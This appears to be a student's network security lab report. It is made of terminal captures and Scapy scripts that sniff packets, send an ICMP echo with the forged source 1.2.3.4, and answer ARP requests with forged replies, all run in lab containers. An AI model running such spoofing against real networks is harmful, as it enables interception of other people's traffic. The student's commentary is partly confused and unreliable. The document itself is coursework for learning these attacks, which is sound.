Task 1.1

```
seed@ip-10-219-1-120: /home/ubuntu/Documents/Labs/Lab1
File  Edit  View  Search  Terminal  Help
Creating host-10.9.0.5 ... done
seed@ip-10-219-1-120:/home/ubuntu/Documents/Labs/Lab1$ dockps
2a9c04c745d1  host-10.9.0.5
45df22ea4437  seed-attacker
seed@ip-10-219-1-120:/home/ubuntu/Documents/Labs/Lab1$ dockps 45
sort: cannot read: 45: No such file or directory
seed@ip-10-219-1-120:/home/ubuntu/Documents/Labs/Lab1$ docksh 45
root@ip-10-219-1-120:/# cd volumes
root@ip-10-219-1-120:/volumes# ls
arpsniffer.py  sniffer.py  task1.1.py
root@ip-10-219-1-120:/volumes# ./sniffer.py
SNIFFING PACKETS.........
Source IP: 10.9.0.5
Destination IP: 10.9.0.1
Protocol: 1
###[ Ethernet ]###
  dst       = 02:42:49:f4:1c:ea
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 28
     id        = 1
     flags     =
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0x66c9
     src       = 10.9.0.5
     dst       = 10.9.0.1
     \options   \
###[ ICMP ]###
        type      = echo-request
        code      = 0
        chksum    = 0xf7ff
        id        = 0x0
        seq       = 0x0

None
Source IP: 10.9.0.1
Destination IP: 10.9.0.5
Protocol: 1
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:05
  src       = 02:42:49:f4:1c:ea
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 28
     id        = 54743
     flags     =
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0x90f2
     src       = 10.9.0.1
     dst       = 10.9.0.5
     \options   \
###[ ICMP ]###
        type      = echo-reply
        code      = 0
        chksum    = 0xffff
        id        = 0x0
        seq       = 0x0

None
```

```
seed@ip-10-219-1-120: /home/ubuntu/Documents/Labs/Lab1/volumes
File  Edit  View  Search  Terminal  Help
    link/ether 02:42:ed:dd:1c:bf brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
4: br-9aec01480ba3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:49:f4:1c:ea brd ff:ff:ff:ff:ff:ff
    inet 10.9.0.1/24 brd 10.9.0.255 scope global br-9aec01480ba3
       valid_lft forever preferred_lft forever
    inet6 fe80::42:49ff:fef4:1cea/64 scope link
       valid_lft forever preferred_lft forever
6: vethb5d4824@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-9aec01480ba3 state UP group default
    link/ether 2e:46:0e:ee:c2:2d brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::2c46:eff:feee:c22d/64 scope link
       valid_lft forever preferred_lft forever
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1$ ls
docker-compose.yml  volumes
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1$ cd volumes
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ ls
arpsniffer.py  sniffer.py
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ nano sniffer.py
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ cd ..
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1$ ls
docker-compose.yml  volumes
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1$ cd ..
ubuntu@ip-10-219-1-120:~/Documents/Labs$ ls
Lab1
ubuntu@ip-10-219-1-120:~/Documents/Labs$ cd Lab1
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1$ cd volumesa
-bash: cd: volumesa: No such file or directory
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1$ cd volumes
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ ls
arpsniffer.py  sniffer.py
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ nano sniffer.py
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ chmod 777 ./sniffer.py
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ ls -l
total 8
-rw-r--r-- 1 ubuntu ubuntu 191 Apr  6 18:32 arpsniffer.py
-rwxrwxrwx 1 ubuntu ubuntu 300 Apr  7 16:32 sniffer.py
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ nano task1.1.py
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ chmod 777 ./task1.1.py
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ sudo -su seed
seed@ip-10-219-1-120:/home/ubuntu/Documents/Labs/Lab1/volumes$ dockps
2a9c04c745d1  host-10.9.0.5
45df22ea4437  seed-attacker
seed@ip-10-219-1-120:/home/ubuntu/Documents/Labs/Lab1/volumes$ docksh 2a
root@2a9c04c745d1:/# cd volumes
root@2a9c04c745d1:/volumes# ./task1.1.py
SENDING ICMP PACKET..........
###[ IP ]###
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     =
  frag      = 0
  ttl       = 64
  proto     = icmp
  chksum    = None
  src       = 10.9.0.5
  dst       = 10.9.0.1
  \options   \
###[ ICMP ]###
     type      = echo-request
     code      = 0
     chksum    = None
     id        = 0x0
     seq       = 0x0

.
Sent 1 packets.
root@2a9c04c745d1:/volumes#
```

The host container is sending a simple echo request that the sniffer script is receiving. The sniffer script displays the checksum of said request (labeled as none from the sender of the initial request). The sniffer script then sends a reply to the original sender, which has a different checksum along with it.

Task 1.2

```
seed@ip-10-219-1-120: /home/ubuntu/Documents/Labs/Lab1
File  Edit  View  Search  Terminal  Help
     ttl       = 255
     proto     = udp
     chksum    = 0xe5ce
     src       = 10.9.0.1
     dst       = 224.0.0.251
     \options   \
###[ UDP ]###
        sport     = mdns
        dport     = mdns
        len       = 53
        chksum    = 0xeb4b
###[ DNS ]###
           id        = 0
           qr        = 0
           opcode    = QUERY
           aa        = 0
           tc        = 0
           rd        = 0
           ra        = 0
           z         = 0
           ad        = 0
           cd        = 0
           rcode     = ok
           qdcount   = 2
           ancount   = 0
           nscount   = 0
           arcount   = 0
           \qd        \
            |###[ DNS Question Record ]###
            |  qname     = '_ipps._tcp.local.'
            |  qtype     = PTR
            |  qclass    = IN
            |###[ DNS Question Record ]###
            |  qname     = '_ipp._tcp.local.'
            |  qtype     = PTR
            |  qclass    = IN
           an        = None
           ns        = None
           ar        = None

None
Source IP: 1.2.3.4
Destination IP: 10.9.0.1
Protocol: 1
###[ Ethernet ]###
  dst       = 02:42:49:f4:1c:ea
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 28
     id        = 1
     flags     =
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0x6cd1
     src       = 1.2.3.4
     dst       = 10.9.0.1
     \options   \
###[ ICMP ]###
        type      = echo-request
        code      = 0
        chksum    = 0xf7ff
        id        = 0x0
        seq       = 0x0

None
```

```
seed@ip-10-219-1-120: /home/ubuntu/Documents/Labs/Lab1/volumes
File  Edit  View  Search  Terminal  Help
     code      = 0
     chksum    = None
     id        = 0x0
     seq       = 0x0

.
Sent 1 packets.
root@2a9c04c745d1:/volumes# exit
exit
seed@ip-10-219-1-120:/home/ubuntu/Documents/Labs/Lab1/volumes$ exit
exit
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ copy task1.1.py task1.2.py

Command 'copy' not found, did you mean:

  command 'copay' from snap copay (11.0.4)
  command 'opy' from snap opy (latest)
  command 'bcopy' from deb bacula-sd (9.4.2-2ubuntu5)
  command 'mcopy' from deb mtools (4.0.24-1)
  command 'fcopy' from deb fai-client (5.3.6ubuntu1)
  command 'copyq' from deb copyq (3.10.0-1)
  command 'hcopy' from deb hfsutils (3.2.6-14)
  command 'ropy' from deb libdisorder-tools (0.0.2+git20130809.8062ee1-1)
  command 'rcopy' from deb rdmacm-utils (28.0-1ubuntu1)

See 'snap info <snapname>' for additional versions.

ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ cp task1.1.py task1.2.py
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ nano task1.2.py
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ nano task1.2.py
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ nano task1.2.py
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ dockps
dockps: command not found
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ docksh
docksh: command not found
ubuntu@ip-10-219-1-120:~/Documents/Labs/Lab1/volumes$ sudo -su seed
seed@ip-10-219-1-120:/home/ubuntu/Documents/Labs/Lab1/volumes$ dockps
2a9c04c745d1  host-10.9.0.5
45df22ea4437  seed-attacker
seed@ip-10-219-1-120:/home/ubuntu/Documents/Labs/Lab1/volumes$ docksh 2a
root@2a9c04c745d1:/# ls
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  volumes
root@2a9c04c745d1:/# cd volumes
root@2a9c04c745d1:/volumes# ls
arpsniffer.py  sniffer.py  task1.1.py  task1.2.py
root@2a9c04c745d1:/volumes# ./task1.2.py
SENDING SPOOFED ICMP PACKET.........
###[ IP ]###
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     =
  frag      = 0
  ttl       = 64
  proto     = icmp
  chksum    = None
  src       = 1.2.3.4
  dst       = 10.9.0.1
  \options   \
###[ ICMP ]###
     type      = echo-request
     code      = 0
     chksum    = None
     id        = 0x0
     seq       = 0x0

.
Sent 1 packets.
root@2a9c04c745d1:/volumes#
```

The output here is the same as the output in the previous section, but the big difference is the value of the “src” variable. The source IP address is something completely different than before, and is especially notable since both scripts are being run from two containers on the same system, meaning the first parts of the IP addresses should theoretically be the same, but the attacking script causes otherwise.

Task 2.1

```
seed@ip-10-219-1-120: /home/ubuntu/Documents/Labs/Lab1
File  Edit  View  Search  Terminal  Help
    inet 10.219.1.120/25 brd 10.219.1.127 scope global dynamic eth0
       valid_lft 2190sec preferred_lft 2190sec
    inet6 fe80::4ca:f8ff:fe50:8cdf/64 scope link
       valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:ed:dd:1c:bf brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
7: br-8f1ee9157ad9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:38:bc:f7:3c brd ff:ff:ff:ff:ff:ff
    inet 10.9.0.1/24 brd 10.9.0.255 scope global br-8f1ee9157ad9
       valid_lft forever preferred_lft forever
    inet6 fe80::42:38ff:febc:f73c/64 scope link
       valid_lft forever preferred_lft forever
9: veth1da0903@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-8f1ee9157ad9 state UP group default
    link/ether 22:1b:40:d4:64:5e brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::201b:40ff:fed4:645e/64 scope link
       valid_lft forever preferred_lft forever
root@ip-10-219-1-120:/volumes# nano arpsniffer.py
root@ip-10-219-1-120:/volumes# chmod 777 ./arpsniffer.py
root@ip-10-219-1-120:/volumes# ./arpsniffer.py
SNIFFING ARP PACKETS.........
###[ Ethernet ]###
  dst       = ff:ff:ff:ff:ff:ff
  src       = 02:42:0a:09:00:05
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = who-has
     hwsrc     = 02:42:0a:09:00:05
     psrc      = 10.9.0.5
     hwdst     = 00:00:00:00:00:00
     pdst      = 10.9.0.1

None
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:05
  src       = 02:42:38:bc:f7:3c
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = is-at
     hwsrc     = 02:42:38:bc:f7:3c
     psrc      = 10.9.0.1
     hwdst     = 02:42:0a:09:00:05
     pdst      = 10.9.0.5

None
###[ Ethernet ]###
  dst       = 02:42:38:bc:f7:3c
  src       = 02:42:0a:09:00:05
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = who-has
     hwsrc     = 02:42:0a:09:00:05
     psrc      = 10.9.0.5
     hwdst     = 00:00:00:00:00:00
     pdst      = 0.0.0.0

None
```

```
seed@ip-10-219-1-120: /home/ubuntu
File  Edit  View  Search  Terminal  Help
root@kali:~# ssh ubuntu@10.219.1.120
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-1029-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Apr  8 16:17:15 UTC 2021

  System load:                      0.24
  Usage of /:                       38.6% of 11.57GB
  Memory usage:                     54%
  Swap usage:                       0%
  Processes:                        170
  Users logged in:                  1
  IPv4 address for br-8f1ee9157ad9: 10.9.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.219.1.120

 * Introducing self-healing high availability clusters in MicroK8s.
   Simple, hardened, Kubernetes for production, from RaspberryPi to DC.

     https://microk8s.io/high-availability

121 updates can be installed immediately.
9 of these updates are security updates.
To see these additional updates run: apt list --upgradable


4 updates could not be installed automatically. For more details,
see /var/log/unattended-upgrades/unattended-upgrades.log

Last login: Thu Apr  8 16:13:05 2021 from 172.16.2.3
ubuntu@ip-10-219-1-120:~$ sudo -su seed
seed@ip-10-219-1-120:/home/ubuntu$ docksh
"docker exec" requires at least 2 arguments.
See 'docker exec --help'.

Usage:  docker exec [OPTIONS] CONTAINER COMMAND [ARG...]

Run a command in a running container
seed@ip-10-219-1-120:/home/ubuntu$ dockps
7576c09b6fa7  host-10.9.0.5
c568e4531008  seed-attacker
seed@ip-10-219-1-120:/home/ubuntu$ docksh 75
root@7576c09b6fa7:/# cd volumes
root@7576c09b6fa7:/volumes# nano arptest.py
root@7576c09b6fa7:/volumes# chmod 777 ./arptest.py
root@7576c09b6fa7:/volumes# ./arptest.py
###[ Ethernet ]###
  dst       = 02:42:38:bc:f7:3c
  src       = 02:42:0a:09:00:05
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = None
     plen      = None
     op        = who-has
     hwsrc     = 02:42:0a:09:00:05
     psrc      = 10.9.0.5
     hwdst     = 00:00:00:00:00:00
     pdst      = 0.0.0.0

.
Sent 1 packets.
root@7576c09b6fa7:/volumes# S
```

The output is a back and forth request and reply from the ARP protocol. The notable thing is that pdst attribute is not specified in the sent packet on the host side (bottom, 0.0.0.0, meaning the request is being broadcast to the entire network to essentially ask who has the MAC address it's looking for. The third listing on the seed-attacker side is an attempt to update the ARP cache by sending an ARP request back, the same way the host did originally.

Task 2.2

```
seed@ip-10-219-1-120: /home/ubuntu/Documents/Labs/Lab1
File  Edit  View  Search  Terminal  Help
bash: dockps: command not found
root@ip-10-219-1-120:/volumes# ls
arprequest.py  arpsniffer.py  arptest.py  sniffer.py  task1.1.py  task1.2.py
root@ip-10-219-1-120:/volumes# arp -d 10.9.0.5
No ARP entry for 10.9.0.5
root@ip-10-219-1-120:/volumes# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
10.219.1.2               ether   06:30:a7:da:37:99   C                     eth0
10.219.1.1               ether   06:30:a7:da:37:99   C                     eth0
root@ip-10-219-1-120:/volumes# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 06:ca:f8:50:8c:df brd ff:ff:ff:ff:ff:ff
    inet 10.219.1.120/25 brd 10.219.1.127 scope global dynamic eth0
       valid_lft 3472sec preferred_lft 3472sec
    inet6 fe80::4ca:f8ff:fe50:8cdf/64 scope link
       valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:ed:dd:1c:bf brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
7: br-8f1ee9157ad9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:38:bc:f7:3c brd ff:ff:ff:ff:ff:ff
    inet 10.9.0.1/24 brd 10.9.0.255 scope global br-8f1ee9157ad9
       valid_lft forever preferred_lft forever
    inet6 fe80::42:38ff:febc:f73c/64 scope link
       valid_lft forever preferred_lft forever
9: veth1da0903@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-8f1ee9157ad9 state UP group default
    link/ether 22:1b:40:d4:64:5e brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::201b:40ff:fed4:645e/64 scope link
       valid_lft forever preferred_lft forever
root@ip-10-219-1-120:/volumes# ./arpsniffer.py
SNIFFING ARP PACKETS.........
###[ Ethernet ]###
  dst       = ff:ff:ff:ff:ff:ff
  src       = 02:42:0a:09:00:05
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = who-has
     hwsrc     = 02:42:0a:09:00:05
     psrc      = 10.9.0.5
     hwdst     = 00:00:00:00:00:00
     pdst      = 10.9.0.1

None
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:05
  src       = 02:42:38:bc:f7:3c
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = is-at
     hwsrc     = 02:42:38:bc:f7:3c
     psrc      = 10.9.0.1
     hwdst     = 02:42:0a:09:00:05
     pdst      = 10.9.0.5

None
```

seed@ip-10-219-1-120: /home/ubuntu

File Edit View Search Terminal Help

```
root@7576c09b6fa7:/volumes# nano arptest.py
root@7576c09b6fa7:/volumes# chmod 777 ./arptest.py
root@7576c09b6fa7:/volumes# ./arptest.py
###[ Ethernet ]###
  dst       = 02:42:38:bc:f7:3c
  src       = 02:42:0a:09:00:05
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = None
     plen      = None
     op        = who-has
     hwsrc     = 02:42:0a:09:00:05
     psrc      = 10.9.0.5
     hwdst     = 00:00:00:00:00:00
     pdst      = 0.0.0.0

.
Sent 1 packets.
root@7576c09b6fa7:/volumes# nano arprequest.py
root@7576c09b6fa7:/volumes# ls
arpsniffer.py  arptest.py  sniffer.py  task1.1.py  task1.2.py
root@7576c09b6fa7:/volumes# nano arptest.py
root@7576c09b6fa7:/volumes# nano task1.1.py
root@7576c09b6fa7:/volumes# nano task1.2.py
root@7576c09b6fa7:/volumes# nano arpsniffer.py
root@7576c09b6fa7:/volumes# nano sniffer.py
root@7576c09b6fa7:/volumes# nano arprequest.py
root@7576c09b6fa7:/volumes# chmod 777 ./arp
arprequest.py  arpsniffer.py  arptest.py
root@7576c09b6fa7:/volumes# chmod 777 ./arprequest.py
root@7576c09b6fa7:/volumes# apr -d 10.9.0.1
bash: apr: command not found
root@7576c09b6fa7:/volumes# arp -d 10.9.0.1
No ARP entry for 10.9.0.1
root@7576c09b6fa7:/volumes# dockps
bash: dockps: command not found
root@7576c09b6fa7:/volumes# arp -d 10.9.0.1
No ARP entry for 10.9.0.1
root@7576c09b6fa7:/volumes# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:09:00:05 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.9.0.5/24 brd 10.9.0.255 scope global eth0
       valid_lft forever preferred_lft forever
root@7576c09b6fa7:/volumes#
root@7576c09b6fa7:/volumes# ls
arprequest.py  arpsniffer.py  arptest.py  sniffer.py  task1.1.py  task1.2.py
root@7576c09b6fa7:/volumes# ./arprequest.py
###[ Ethernet ]###
  dst       = ff:ff:ff:ff:ff:ff
  src       = 02:42:0a:09:00:05
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = who-has
     hwsrc     = 02:42:0a:09:00:05
     psrc      = 10.9.0.5
     hwdst     = 00:00:00:00:00:00
     pdst      = 10.9.0.1

.
Sent 1 packets.
root@7576c09b6fa7:/volumes#
```

Right Ctrl

seed@ip-10-219-1-120: /home/ubuntu

File Edit View Search Terminal Help

GNU nano 4.8 arprequest.py

```
#!/usr/bin/env python3
from scapy.all import *

E = Ether()
A = ARP()

E.dst = 'ff:ff:ff:ff:ff:ff'
E.src = get_if_hwaddr("eth0")
E.type = 2054

A.hwtype = 1
A.ptype = 2048
A.hwlen = 6
A.plen = 4
A.op = 1
A.hwsrc = get_if_hwaddr("eth0")
A.psrc = get_if_addr(conf.iface)
A.hwdst = '00:00:00:00:00:00'
A.pdst = '10.9.0.1'

pkt = E/A
pkt.show()
sendp(pkt)
```

[Read 23 lines]

^G Get Help	^O Write Out	^W Where Is	^K Cut Text	^J Justify	^C Cur Pos	M-U Undo	M-A Mark Text	M-] To Bracket
^X Exit	^R Read File	^\ Replace	^U Paste Text	^T To Spell	^_ Go To Line	M-E Redo	M-6 Copy Text	^O Where Was

Right Ctrl

Task 2.3

```
seed@ip-10-219-1-120: /home/ubuntu/Documents/Labs/Lab1
File  Edit  View  Search  Terminal  Help
root@ip-10-219-1-120:/volumes# arp -d 10.9.0.5
root@ip-10-219-1-120:/volumes# ./arpreply.py
SNIFFING ARP PACKETS.........
###[ Ethernet ]###
  dst       = ff:ff:ff:ff:ff:ff
  src       = 02:42:0a:09:00:05
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = who-has
     hwsrc     = 02:42:0a:09:00:05
     psrc      = 10.9.0.5
     hwdst     = 00:00:00:00:00:00
     pdst      = 10.9.0.1

None
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:05
  src       = 02:42:f1:87:a7:ac
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = is-at
     hwsrc     = 02:42:f1:87:a7:ac
     psrc      = 10.9.0.1
     hwdst     = 02:42:0a:09:00:05
     pdst      = 10.9.0.5

.
Sent 1 packets.
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:05
  src       = 02:42:f1:87:a7:ac
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = is-at
     hwsrc     = 02:42:f1:87:a7:ac
     psrc      = 10.9.0.1
     hwdst     = 02:42:0a:09:00:05
     pdst      = 10.9.0.5

None
###[ Ethernet ]###
  dst       = 02:42:f1:87:a7:ac
  src       = 02:42:f1:87:a7:ac
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = is-at
     hwsrc     = 02:42:f1:87:a7:ac
     psrc      = 10.9.0.5
     hwdst     = 02:42:f1:87:a7:ac
     pdst      = 10.9.0.1

.
Sent 1 packets.
```

seed@ip-10-219-1-120: /home/ubuntu

File Edit View Search Terminal Help

```
root@53684aa6a803:/volumes# arp -d 10.9.0.1
No ARP entry for 10.9.0.1
root@53684aa6a803:/volumes# ./arprequest.py
###[ Ethernet ]###
  dst       = ff:ff:ff:ff:ff:ff
  src       = 02:42:0a:09:00:05
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = who-has
     hwsrc     = 02:42:0a:09:00:05
     psrc      = 10.9.0.5
     hwdst     = 00:00:00:00:00:00
     pdst      = 10.9.0.1

.
Sent 1 packets.
root@53684aa6a803:/volumes#
```

Right Ctrl

```
seed@ip-10-219-1-120: /home/ubuntu/Documents/Labs/Lab1
File  Edit  View  Search  Terminal  Help
  GNU nano 4.8                                    arpreply.py
#!/bin/env python3
from scapy.all import *

print("SNIFFING ARP PACKETS.........")

def print_pkt(pkt):
   print(pkt.show())
   E = Ether()
   A = ARP()
   E.dst = pkt[Ether].src
   E.src = '02:42:f1:87:a7:ac'
   E.type = 2054
   A.hwtype = 1
   A.ptype = 2048
   A.hwlen = 6
   A.plen = 4
   A.op = 2
   A.hwsrc = '02:42:f1:87:a7:ac'
   A.psrc = pkt[ARP].pdst
   A.hwdst = pkt[ARP].hwsrc
   A.pdst = pkt[ARP].psrc
   reply = E/A
   reply.show()
   sendp(reply)

pkt = sniff(iface='br-3e4e1731401b', filter='arp',prn=print_pkt)

                                  [ Read 26 lines ]
^G Get Help    ^O Write Out   ^W Where Is    ^K Cut Text    ^J Justify     ^C Cur Pos     M-U Undo       M-A Mark Text  M-] To Bracket
^X Exit        ^R Read File   ^\ Replace     ^U Paste Text  ^T To Spell    ^_ Go To Line  M-E Redo       M-6 Copy Text  ^Q Where Was
```

I’m aware the output for the arpreply.py script doesn’t look correct, the instructions for that one in particular felt very vague, some instructions were conflicting (don’t hard code values but also don’t use default values/explicitly specify values). I made sure the only address-related value I hard coded was the MAC address for the attacker, everything else came from the incoming packet (making it dynamic), I specified op = 2 for a reply packet. The last print is a bunch of duplicates which I know isn’t correct, but I did the best I could given the instructions.